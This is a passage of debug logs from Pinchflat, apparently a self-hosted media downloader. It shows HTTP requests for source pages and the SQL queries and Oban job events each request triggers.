LIMIT ? OFFSET ? [4, 10, 0] 00:15:07.772 [info] Sent 200 in 86ms 00:15:11.256 [info] GET /sources/1 00:15:11.256 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 00:15:11.257 [debug] QUERY OK source="sources" db=0.4ms idle=1613.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 00:15:11.258 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1614.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:15:11.388 [debug] QUERY OK source="tasks" db=130.2ms queue=0.1ms idle=1615.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 00:15:11.389 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=1510.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2620] 00:15:11.390 [debug] QUERY OK source="settings" db=0.3ms idle=509.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:15:11.390 [debug] QUERY OK source="settings" db=0.3ms idle=133.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:15:11.391 [debug] QUERY OK source="settings" db=0.3ms idle=133.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:15:11.394 [debug] QUERY OK source="sources" db=0.4ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 00:15:11.399 [debug] QUERY OK source="media_items" db=4.2ms idle=5.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 00:15:11.404 [debug] QUERY OK source="media_items" db=4.5ms idle=9.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 00:15:11.407 [debug] QUERY OK source="sources" db=0.3ms idle=16.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 00:15:11.408 [debug] QUERY OK source="media_items" db=0.5ms idle=15.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 00:15:11.411 [debug] QUERY OK source="media_items" db=3.4ms idle=13.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 00:15:11.414 [debug] QUERY OK source="sources" db=0.3ms idle=14.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 00:15:11.416 [debug] QUERY OK source="media_items" db=1.2ms idle=10.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 00:15:11.422 [debug] QUERY OK source="media_items" db=5.9ms idle=9.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 00:15:11.425 [info] Sent 200 in 169ms 00:15:25.154 [info] {"source":"oban","duration":1019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:26.569 [info] GET /sources/5 00:15:26.569 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "5"} Pipelines: [:browser] 00:15:26.570 [debug] QUERY OK source="sources" db=0.3ms idle=1926.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 00:15:26.571 [debug] QUERY OK source="media_profiles" db=0.4ms idle=1927.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:15:26.572 [debug] QUERY OK source="tasks" db=0.5ms queue=0.1ms idle=1663.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [5, "executing", "available", "scheduled", "retryable"] 00:15:26.572 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=1418.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2617] 00:15:26.573 [debug] QUERY OK source="settings" db=0.2ms idle=662.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:15:26.574 [debug] QUERY OK source="settings" db=0.2ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:15:26.575 [debug] QUERY OK source="settings" db=0.2ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:15:26.577 [debug] QUERY OK source="sources" db=0.2ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 00:15:26.580 [debug] QUERY OK source="media_items" db=2.2ms idle=5.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 00:15:26.583 [debug] QUERY OK source="media_items" db=2.3ms idle=7.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 00:15:26.584 [debug] QUERY OK source="sources" db=0.2ms idle=9.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 00:15:26.585 [debug] QUERY OK source="media_items" db=0.5ms idle=9.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 00:15:26.587 [debug] QUERY OK source="media_items" db=2.1ms idle=7.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 00:15:26.590 [debug] QUERY OK source="sources" db=0.2ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 00:15:26.590 [debug] QUERY OK source="media_items" db=0.4ms idle=7.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 00:15:26.594 [debug] QUERY OK source="media_items" db=3.5ms idle=6.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 00:15:26.596 [info] Sent 200 in 27ms 00:15:55.156 [info] {"source":"oban","duration":948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:00.138 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:16:02.645 [info] GET /sources/2/edit 00:16:02.645 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 00:16:02.646 [debug] QUERY OK source="sources" db=0.3ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 00:16:02.647 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1003.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 00:16:02.648 [debug] QUERY OK source="settings" db=0.2ms idle=1004.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:16:02.648 [debug] QUERY OK source="settings" db=0.3ms idle=1005.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:16:02.649 [debug] QUERY OK source="settings" db=0.3ms idle=664.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:16:02.655 [info] Sent 200 in 10ms 00:16:25.158 [info] {"source":"oban","duration":1359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:55.160 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:55.642 [info] GET /sources/1/edit 00:16:55.642 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 00:16:55.644 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=999.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 00:16:55.644 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1001.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 00:16:55.645 [debug] QUERY OK source="settings" db=0.3ms idle=1001.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:16:55.646 [debug] QUERY OK source="settings" db=0.2ms idle=551.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:16:55.647 [debug] QUERY OK source="settings" db=0.2ms idle=486.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:16:55.653 [info] Sent 200 in 10ms 00:17:00.139 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:17:10.820 [info] GET /sources/3/edit 00:17:10.820 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 00:17:10.820 [debug] QUERY OK source="sources" db=0.2ms idle=1177.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", 